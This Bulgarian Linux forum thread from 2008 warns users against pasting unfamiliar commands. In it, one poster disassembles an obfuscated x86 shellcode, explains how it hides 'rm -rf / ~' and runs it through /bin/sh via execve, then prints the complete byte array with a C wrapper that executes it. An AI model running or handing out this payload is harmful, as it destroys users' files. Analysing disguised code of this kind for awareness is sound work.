Автор Тема: Не правете това у дома си 1  (Прочетена 2086 пъти)

ANTIADMIN

  • Напреднали
  • *****
  • Публикации: 660
  • Distribution: Windows XP Pro latest updates
  • ANTIADMIN
    • Профил
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
или защо да не преписваме команди, които не познаваме, от онлайн форуми и чатове.
за убунту потребителите with love ;D ;D
Активен

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Re: Не правете това у дома си 1
« Отговор #1 -: Nov 25, 2008, 15:46 »
Уааа, второто е много хитро направено! Не че днешните gcc-та ще ти разрешат да си подменяш .text секцията и не че работи на x86_64, обаче е нагледен пример как се пише обфускиран код. Апропо не е еквивалент на rm -rf /, а на rm -rf / ~ (за всеки случай да ти се затрие home директорията ако не си суперпотребител аххаха).

Цитат
08049560 <esp>:
 8049560:       eb 3e                    jmp    80495a0 <esp+0x40>
 8049562:       5b                         pop    %ebx
 8049563:       31 c0                    xor    %eax,%eax
 8049565:       50                        push   %eax
 8049566:       54                        push   %esp
 8049567:       5a                        pop    %edx
 8049568:       83 ec 64              sub    $0x64,%esp

******** OTTUK: **********

 804956b:       68 ff ff ff ff            push   $0xffffffff
 8049570:       68 df d0 df d9      push   $0xd9dfd0df
 8049575:       68 8d 99 df 81     push   $0x81df998d
 804957a:       68 8d 92 df d2     push   $0xd2df928d
 804957f:       54                         push   %esp
 8049580:       5e                        pop    %esi
 8049581:       f7 16                    notl   (%esi)
 8049583:       f7 56 04               notl   0x4(%esi)
 8049586:       f7 56 08               notl   0x8(%esi)
 8049589:       f7 56 0c               notl   0xc(%esi)
 804958c:       83 c4 74              add    $0x74,%esp
 804958f:       56                        push   %esi

***** DOTUK: imame ffffffffdfd0dfd98d99df818d92dfd2 (bezsmislica) - NOT bezsmislicata stava rm -rf / ~\0\0\0

 8049590:       8d 73 08             lea    0x8(%ebx),%esi
 8049593:       56                       push   %esi
 8049594:       53                       push   %ebx
 8049595:       54                       push   %esp
 8049596:       59                       pop    %ecx
 8049597:       b0 0b                  mov    $0xb,%al

****** Pri pyrvoto "idvane" tuk izpylnqvame execve(...), pri vtoroto - exit() (kakto shte se vidi sled malko)*****

 8049599:       cd 80                  int    $0x80
 804959b:       31 c0                   xor    %eax,%eax
 804959d:       40                       inc    %eax

***** eax=0+1=1; jump tam deto e int 80h => xor eax,eax;inc eax;int80h = exit()  (__NR_exit=1) *****

 804959e:       eb f9                   jmp    8049599 <esp+0x39>
 80495a0:       e8 bd ff ff ff         call   8049562 <esp+0x2>

************* TOVA OTDOLU NE E KOD A STRINGA /bin/sh\0-c\0\0\0 ***********

 80495a5:       2f                        das
 80495a6:       62 69 6e             bound  %ebp,0x6e(%ecx)
 80495a9:       2f                        das
 80495aa:       73 68                  jae    8049614 <_end+0x5c>
 80495ac:       00 2d 63 00 00 00       add    %ch,0x63

********* PO-DOLNITE "cp -p /bin/sh /tmp/.beyond; ......." sa bezsmisleni i slujat za zabluda********************


С hexdump никъде няма да се намери "rm -rf", но ще се намери малоумния стринг най-отдолу.

Най-общо тая дивотия тика в стека първо /bin/sh, после -c, после една безсмислица, чиято инверсна (NOT) стойност прави rm -rf / ~. После сет-ва най-младшите 8 бита на EAX на 0xb (11, __NR_execve) - останалите са =0 оттам стойността на EAX=0xb.

После вика execve(глупостите от стека).

След което:

xor eax,eax   // eax=0
inc eax         // eax=1
jmp <adresa_deto_e_int80h_instrukciata>

Тъй като EAX==1 (__NR_exit), цялата тая глупост прави просто exit()


Това е много хитро написано, кефи :) Беше изключително забавно да разбера какво прави :)

Ако искате обаче наистина да ви сработи трябва да пробвате така :)

Цитат
char esp[] = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00";

void main()
{
void (*kur)()=esp;
kur();
}

Като силно ви съветвам преди опита да направите mv /bin/rm /bin/rm.test :)
« Последна редакция: Nov 26, 2008, 09:19 от gat3way »
Активен

"Knowledge is power" - France is Bacon

lunarvalleys

  • Гост
Re: Не правете това у дома си 1
« Отговор #2 -: Nov 25, 2008, 17:34 »
ей, че весело!  :D :D :D
Активен

ANTIADMIN

  • Напреднали
  • *****
  • Публикации: 660
  • Distribution: Windows XP Pro latest updates
  • ANTIADMIN
    • Профил
Re: Не правете това у дома си 1
« Отговор #3 -: Nov 25, 2008, 19:17 »
Е да, то наготово всеки знае, ма за смф се качихте веднага на криптираните пароли. Същинският експлоит няма нущо общо с чупене хешове и седмицата не е предвидена затова.
Както и да е, оставам с уверението/от бомбаджията/, че тук има много лоши чичковци и какички, които чупят некви китайски фтп сървъри и после се кефят в блога си ;D ;D ;D
В Русия сТе!
Активен

Ivshti

  • Напреднали
  • *****
  • Публикации: 322
  • Distribution: Linvo 2010.3
  • Window Manager: Gnome
    • Профил
    • WWW
Re: Не правете това у дома си 1
« Отговор #4 -: Nov 25, 2008, 20:22 »
http://linsux.org/index.php?topic=96.0

Без коментар

(Цитат, Fall Оut Boy - You're crashing, but you are not wave)
Isn't it tragic?
Активен